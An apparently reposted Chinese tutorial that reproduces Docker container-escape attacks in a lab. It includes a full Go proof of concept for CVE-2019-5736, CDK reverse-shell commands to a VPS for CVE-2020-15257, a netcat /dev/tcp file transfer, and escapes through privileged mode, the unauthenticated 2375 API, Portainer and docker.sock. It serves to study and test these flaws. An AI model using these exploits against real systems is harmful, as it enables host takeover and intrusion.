Docker常见的安全问题复现

这篇具有很好参考价值的文章主要介绍了Docker常见的安全问题复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Docker是一个开源的应用容器引擎,它可以让用户将应用打包,并依赖包到可移植的容器中。然而,Docker也存在着安全问题。
Docker攻击模型:
Docker常见的安全问题复现,docker,安全,容器

  • case1:应用攻击容器
  • case2:容器攻击其它容器
  • case3:容器攻击宿主机
  • case4:主机攻击容器

漏洞环境

由于各种各样的原因(相关文档缺乏、背景知识不足、网络环境差等),我们经常会发现“环境搭建”这个步骤本身就会占用大量的时间。与之相比,真正测试PoC、ExP的时间可能非常短,所以漏洞环境选择绿盟安全研究人员开发的靶场Metarget项目。

https://github.com/Metarget/metarget

#要求
Ubuntu 16.04或18.04(推荐)
python >= 3.6 (不支持python 2.x)

#安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

#安装指定版本的docker版本
./metarget gadget install docker --version 18.03.1

#安装指定版本的Kubernetes
./metarget gadget install k8s --version 1.16.5

识别Docker容器的常见方法

当安全人员拿到一个主机的权限后,需要判断该主机权限所在的环境是不是docker环境。

  • ls -alh /.dockerenv

/.dockerenv是所有容器中都会存在的一个文件,这个文件曾经是LCX用于环境变量加载到容器中,现在容器不再使用LCX,所以内容为空。

Docker常见的安全问题复现,docker,安全,容器

  • cat /proc/1/cgroup | grep “docker”

Linux CGroup(Linux Contral Group),它其实是Linux内核的一个功能,它是Linux下的一种将进程按组进行管理的机制。为了限制Docker资源,Docker为每个容器创建了一个控制组以及一个名为Docker的父控制组,如果某个进程在Docker容器中启动,则该进程将必须在该容器控制中,所以通过查看初始进程的cgroup来验证是否为容器,Docker环境中的cgroup文件普遍存在docker字段,真实Linux环境中不存在docker字段。

Docker常见的安全问题复现,docker,安全,容器

  • ps aux

在容器中查看进程,会发现进程相当少,和真实环境相差较大

容器中:
Docker常见的安全问题复现,docker,安全,容器
真实环境:
Docker常见的安全问题复现,docker,安全,容器

Docker逃逸

关于Docker主要从容器自身漏洞、容器配置不当等方面进行介绍

容器漏洞

CVE-2020-15257

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Container中,使用 --host 网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。此模式直接使用宿主机网卡和IP地址,导致容器和宿主机共享一套Network namespace。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2020-15257
#启动漏洞环境
docker run -it --net=host --name=15257 ubuntu /bin/bash
  • 判断是否使用host模式
#在容器内使用该命令可看到抽象命名空间Unix域套接字
cat /proc/net/unix | grep 'containerd-shim'

Docker常见的安全问题复现,docker,安全,容器

  • 利用cdk工具进行自动化逃逸,反弹宿主机的shell到远端服务器,如果容器没有curl、wget命令,可以通过下面这个方式下发CDK
#公网VPS开启NC
nc -lvp 999 < cdk

#容器运行写入
cat < /dev/tcp/(VPS_IP)/(port) > cdk 
chmod a+x cdk

#反弹宿主机的shell到远端服务器
./cdk run shim-pwn reverse vps_ip 8888

成功反弹宿主机权限到远端服务器:
Docker常见的安全问题复现,docker,安全,容器

CVE-2019-5736

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。runC漏洞的前提是需要docker exec、attach时才会触发漏洞,攻击者可以修改runC的二进制文件导致提权,需要管理员执行exec才能触发,利用条件有限。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2019-5736

#启动环境
docker run -it ubuntu:18.04
  • 编译poc

https://github.com/Frichetten/CVE-2019-5736-PoC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}
  • 使用go对poc进行编译
  • 将编译好的poc,复制进容器/home目录下
#将poc复制到容器中
docker cp main name:/home
#进入容器,赋予poc文件执行权限
chmod 777 main
#执行
./main

Docker常见的安全问题复现,docker,安全,容器

  • 现在假设以管理员身份使用docker exec进入容器
docker ps
docker exec -it 483db4e388b4 /bin/bash

Docker常见的安全问题复现,docker,安全,容器

  • 此时,在容器中可以看到容器中的main脚本已经被执行。

Docker常见的安全问题复现,docker,安全,容器

  • 可以将poc中的payload修改为反弹shell的payload,如果成功执行,将获得宿主机的权限。
Portainer后台(逃逸)

Portainer是一个可视化的容器镜像的图形管理工具,利用Portainer可以轻松构建、管理和维护Docker环境,而且完全免费,基于容器化的安装方式,方便高效部署。
安装成功后,后台没有默认账号密码,当第一次登录系统时会提示设置新密码。

  • 在具有docker的机器上下载portainer
#搜索portainer镜像
docker search portainer

#拉取portainer镜像
docker pull portainer/portainer

#启动portainer镜像
docker run -d -p 9000:9000 --restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
--name portainer portainer/portainer
  • 访问9000端口

Docker常见的安全问题复现,docker,安全,容器
Docker常见的安全问题复现,docker,安全,容器

  • 进入容器中,添加新容器

Docker常见的安全问题复现,docker,安全,容器

  • 进入到后台界面

Docker常见的安全问题复现,docker,安全,容器

  • 给新容器命名并添加镜像

Docker常见的安全问题复现,docker,安全,容器

  • 下滑找到Advanced container settings,并将console选项选为Interactive & TTY

Docker常见的安全问题复现,docker,安全,容器

  • 在Volumes中将根目录挂载到容器中

Docker常见的安全问题复现,docker,安全,容器

  • 点击Deploy the container按钮进行部署

Docker常见的安全问题复现,docker,安全,容器

  • 选择刚刚创建好的镜像,选择/bin/sh进入到终端。

Docker常见的安全问题复现,docker,安全,容器

  • 进入终端,输入ls /host 、chroot /host bash,如图所示,已成功通过chroot切换bash,逃逸到宿主机中。

Docker常见的安全问题复现,docker,安全,容器

配置不当

特权模式

特权模式逃逸是一种最简单有效的逃逸方法,该漏洞的原理是宿主机使用root用户或使用sudo命令启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载到容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划等逃逸到宿主机。

  • 当容器启动加上 --privileged选项时,容器可以访问宿主机上磁盘设备
#使用docker拉取ubuntu:18.04镜像
docker pull ubuntu:18.04

#启动特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 /bin/bash
  • 判断当前容器是否是特权启动 cat /proc/self/status | grep CapEff

查看CapEff值,特权值为:0000003fffffffff
Docker常见的安全问题复现,docker,安全,容器

  • 可以创建一个挂载目录 mkdir /tmp/hosts
  • 查看宿主机磁盘文件 fdisk -l

Docker常见的安全问题复现,docker,安全,容器

  • 挂载到创建的目录
mount /dev/sda1 /tmp/hosts
  • 进入到/tmp/hosts目录,通过chroot切换bash

chroot ./ bash

  • 此时,已成功逃逸到宿主机

Docker常见的安全问题复现,docker,安全,容器

Docker API未授权访问

该漏洞起因是因为使用Docker Swarm时,管理的docker 节点上便会开放一个TCP端口2375/2376,绑定在0.0.0.0上,如果没有做限制访问来源的话,攻击者可以通过Doker未授权来控制服务器。
在最初版本安装Docker时会默认把2375端口对外开放,目前默认允许本地访问

  • 首先需要开启contianerd服务

containerd

  • 查看服务状态

systemctl status containerd

Docker常见的安全问题复现,docker,安全,容器

  • 开启远程访问

vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 containerd=/run/containerd/containerd.sock

  • 开启后进行重启操作

systemctl daemon-reload
systemctl restart docker

  • 探测是否存在未授权访问
    • curl http://IP:2375/info

Docker常见的安全问题复现,docker,安全,容器

  • docker -H tcp://IP:2375 info

Docker常见的安全问题复现,docker,安全,容器

  • 利用容器创建一个拥有特权的容器,挂载宿主机进行逃逸
#连接
export DOCKER_HOST="tcp://123.123.123.123:2375"

#创建一个容器并具有特殊权限和挂载宿主机目录
docker -H tcp://192.168.30.50:2375 run -it --privileged alpine

#这时可通过特权模式进行逃逸
mkdir /tmp/zkaw/
fdisk -l
mount /dev/dm-0 /tmp/zkaw
cd /tmp/zkaw

#通过chroot切换bash
chroot ./ bash

Docker常见的安全问题复现,docker,安全,容器

Docker Socket

Docker架构相当于C/S架构,docker即为client,Server端的角色由docker daemon扮演,二者之间的通信方式有以下三种:

  • unix:///var/run/docker.sock(默认)
  • tcp://host:port
  • fd://socketfd

该方式主要为在容器中寻找docker.sock文件,利用此文件与宿主机建立交互。

#查找docker.sock
find / -name docker.sock 2>/dev/null

#连接
docker -H unix:///run/docker.sock info

#注意事项
通常进入容器中是没有docker客户端的,如果出网可在线安装:apt-get install docker.io

参考连接:
https://www.secrss.com/articles/18752
https://zhuanlan.zhihu.com/p/474373366
https://juejin.cn/post/7156844201522429988
https://blog.csdn.net/SHELLCODE_8BIT/article/details/124037215
https://github.com/cdk-team/CDK文章来源地址https://www.toymoban.com/news/detail-782604.html

到了这里,关于Docker常见的安全问题复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Docker 容器常见故障排查及处理,超好用,建议收藏

    Docker是一种相对使用较简单的容器,我们可以通过以下几种方式获取信息: 1、通过docker run执行命令,查看返回信息 2、通过docker logs 去获取日志,做有针对性的筛选 3、通过systemctl status docker查看docker服务状态 4、通过journalctl -u docker.service 查看日志 以下是整理的docker容器类

    2024年02月04日
    浏览(51)
  • 「快学Docker」Docker容器安全性探析

    在当今快速发展的软件开发和部署领域,容器化技术已经成为一种不可或缺的工具。然而,随着容器的广泛应用,容器安全性问题也日益受到关注。本文将深入探讨Docker容器的安全性挑战,提供解决方案和最佳实践,以确保在使用Docker时能够最大程度地降低安全风险。 容器化

    2024年02月11日
    浏览(36)
  • 中间件安全-CVE 复现&K8s&Docker&Jetty&Websphere漏洞复现

    中间件及框架列表: IIS,Apache,Nginx,Tomcat,Docker,K8s,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jetty,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等。 中间件所披露的问题: 中间件安全-IISApacheTomcatNginx漏洞复现 中间件安全-WeblogicJenkinsGlassFish漏洞复现 1、中间

    2024年02月08日
    浏览(52)
  • 启动docker容器时报iptables failed: iptables --wait -t nat -A DOCKER -p tcp -d 0/0 --dport(Docker容器九类常见故障)

    错误原因:  在防火墙中默认 nat 是 REJECT的,所以端口映射被拒绝。 解决方法: 网上其他的解决方法:基本都是重置docker0网络,重启docker 网上有的说是只重启docker即可,即只执行systemctl restart docker,我自己也是这样解决掉问题的。 如果还是不行的话,就按照上面的方式试

    2024年02月08日
    浏览(38)
  • Docker 容器服务的注册、发现及Docker安全

    目录 Docker容器服务的注册和发现 1、什么是服务注册与发现? 2、什么是consul consul的部署 1、环境准备 2、部署consul服务器 1)建立 Consul 服务 2)设置代理,在后台启动 consul 服务端 3)查看集群信息 4)通过 http api 获取集群信息 3、registrator服务器部署 1)安装 Gliderlabs/Registr

    2024年02月07日
    浏览(36)
  • 【Docker】Docker的使用案例以及未来发展、Docker Hub 服务、环境安全、容器部署安全

    作者简介: 辭七七,目前大二,正在学习C/C++,Java,Python等 作者主页: 七七的个人主页 文章收录专栏: 七七的闲谈 欢迎大家点赞 👍 收藏 ⭐ 加关注哦!💖💖    Docker是一个命令行工具,它提供了中央“docker”执行过程中所需的所有工具 。这使得Docker的操作非常简单。

    2024年02月08日
    浏览(49)
  • [ 容器 ] Docker 安全及日志管理

    容器的安全性问题的根源在于容器和宿主机共享内核。如果容器里的应用导致Linux内核崩溃,那么整个系统可能都会崩溃。与虚拟机是不同的,虚拟机并没有与主机共享内核,虚拟机崩溃一般不会导致宿主机崩溃。 隔离与共享 虚拟机通过添加 Hypervisor 层(虚拟化中间层),虚

    2024年02月15日
    浏览(42)
  • Docker学习路线10:容器安全

    容器安全是实施和管理像Docker这样的容器技术的关键方面。它包括一组实践、工具和技术,旨在保护容器化应用程序及其运行的基础架构。在本节中,我们将讨论一些关键的容器安全考虑因素、最佳实践和建议。 隔离对于确保容器化环境的强大性和安全性至关重要。容器应该

    2024年02月16日
    浏览(40)
  • Docker与容器化安全:漏洞扫描和安全策略

    容器化技术,特别是Docker,已经成为现代应用程序开发和部署的关键工具。然而,容器化环境也面临着安全挑战。为了保障容器环境的安全性,本文将介绍如何进行漏洞扫描、制定安全策略以及采取措施来保护Docker容器。我们将提供丰富的示例代码,以帮助大家更好地理解和

    2024年02月03日
    浏览(45)
  • 如何提高Docker容器的安全性

    随着 Docker 的兴起,越来越多的项目采用 Docker 搭建生产环境,因为容器足够轻量化,可以快速启动并且迁移业务服务,不过在使用的过程中,我们很容易就忽略了项目的安全问题,容器虽然有隔离的作用,但是我们知道,他与虚拟机的架构差距还是比较大的。 虚拟机通过添

    2024年02月08日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包